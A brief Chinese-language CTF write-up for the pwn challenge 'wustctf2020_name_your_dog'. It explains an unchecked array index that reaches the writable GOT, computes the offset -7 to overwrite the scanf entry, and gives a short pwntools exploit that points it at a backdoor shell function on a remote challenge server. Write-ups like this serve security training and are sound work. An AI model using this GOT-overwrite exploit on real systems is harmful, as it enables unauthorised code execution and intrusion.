wustctf2020_name_your_dog:
有一道类似的叫name_your_cat,是数组越界
逆向分析:
主界面
NameWhich函数:
根本没检查边界,num我们随便取,依旧数组越界
后门
具体步骤:
got表可写,got表就在dog上面不远处,我们能改__isoc99_scanf,printf
printf=0x0804A00C
__isoc99_scanf=0x0804A028
dog=0x804a060
由于与print相差不是8的倍数,我们选scanf
num填(0x28-0x60)/8=-7
exp:
from pwn import*
#r=process('./wustctf2020_name_your_dog')
r=remote('node4.buuoj.cn',26698)
shell=0x80485cb
r.sendlineafter('Name for which?\n>','-7')
r.sendlineafter('Give your name plz: ',p32(shell))
r.interactive()